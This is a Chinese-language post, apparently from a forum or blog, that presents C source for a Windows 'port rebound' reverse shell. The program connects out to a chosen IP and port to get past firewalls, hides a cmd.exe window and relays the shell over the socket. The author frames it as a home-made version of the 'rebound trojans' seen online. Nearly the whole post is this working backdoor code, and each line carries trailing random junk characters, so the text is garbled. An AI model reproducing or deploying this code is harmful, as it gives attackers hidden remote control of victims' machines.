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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 0MF[e3)a  
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/* ============================== 234 OJ?  
Rebound port in Windows NT j@v*q\X&  
By wind,2006/7 IaH8#3+a  
===============================*/ C&,&~^_F  
#include x<"1T w5e  
#include  ^vYH"2  
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#pragma comment(lib,"wsock32.lib") b~Op1p  
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void OutputShell(); 5.]+K<:h"A  
SOCKET sClient; \^iJv ~d  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; E08FUAth]#  
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void main(int argc,char **argv) uo_Y"QiKEH  
{ xpx=t71Hq  
WSADATA stWsaData; Tw)nFr8oF]  
int nRet; `Ff3H$_*  
SOCKADDR_IN stSaiClient,stSaiServer; kTAb <  
ixw3Z D(>+  
if(argc != 3) {x W? v;  
{ Q$Ga.fI  
printf("Useage:\n\rRebound DestIP DestPort\n"); JWr:/?  
return; wXMKQ)$(  
} KF|+# qCN  
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WSAStartup(MAKEWORD(2,2),&stWsaData); U>IllNd  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Y _m4:9p  
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stSaiClient.sin_family = AF_INET; =GL}\I  
stSaiClient.sin_port = htons(0); }\:3}'S.$  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); xKWqDt  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) HlqCL1\<  
{ \-0@9E<D  
printf("Bind Socket Failed!\n"); u01 'f-h  
return; sD7Qt  
} ;3U-ghj  
#M$[C d I$  
stSaiServer.sin_family = AF_INET; Jor >YB`X  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); -GD_xk  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); "yCCei,hA?  
^o_2=91  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) =dHM)OXD"  
{ d=o|)kV  
printf("Connect Error!"); FAfk;<#'n+  
return; x9Y1v1!5Pu  
} UQ:H3  
OutputShell(); ;o8C(5xE|  
} NKvBNf|D  
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void OutputShell() :.'<ndM  
{ &M,a+|yuY  
char szBuff[1024]; yQ}$G ,x  
SECURITY_ATTRIBUTES stSecurityAttributes; l)[\TD  
OSVERSIONINFO stOsversionInfo; Bq.@CxK  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; T1m"1Q  
STARTUPINFO stStartupInfo; "=@b>d6U+  
char *szShell; n.ZLR=P4  
PROCESS_INFORMATION stProcessInformation; SG_^Rd9 D  
unsigned long lBytesRead; L{jJDd  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); =@AWw:!:,  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); L3JFQc/oh~  
stSecurityAttributes.lpSecurityDescriptor = 0; +>/ariRr  
stSecurityAttributes.bInheritHandle = TRUE; rdhK&5x*  
onRxe\?D(  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); CL.JalR`b  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); <vJPKQ`=:  
K*&M:u6E  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Py$Q]s?\1  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; eqU2>bI f  
stStartupInfo.wShowWindow = SW_HIDE; VR ^qwS/  
stStartupInfo.hStdInput = hReadPipe; RbzSQr>a\  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; /:3:Ky3  
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GetVersionEx(&stOsversionInfo); -G e5gQ=  
rZ2X$FO@  
switch(stOsversionInfo.dwPlatformId) FRd!UqMXY  
{ (+6 8s9XS7  
case 1: px %xoY  
szShell = "command.com"; 26PUO$&b.  
break; ^E\{&kaUp  
default: Qz\yoI8JA,  
szShell = "cmd.exe"; 8] skAh  
break; usH9dys,  
} I_6NY,dF  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); M.$Li#So,  
u.sF/T=6f  
send(sClient,szMsg,77,0); R*a5bKr  
while(1) d9>*a$x;/  
{ k"D6Vyy`  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); X TEC0s"F  
if(lBytesRead) I=o[\?u*_  
{ to,DN2rN  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ("Z;)s4q  
send(sClient,szBuff,lBytesRead,0); s0uI;WMg  
} SF$7WG3Q  
else >$S P2(Y~  
{ &[:MTK?x!  
lBytesRead=recv(sClient,szBuff,1024,0); ;Pf |\q  
if(lBytesRead<=0) break; sd9$4k"  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); i!+D ,O  
} BLZ#vJR  
} 6r! Y ~\@  
4 AZ~<e\  
return; T Po%zZo  
}
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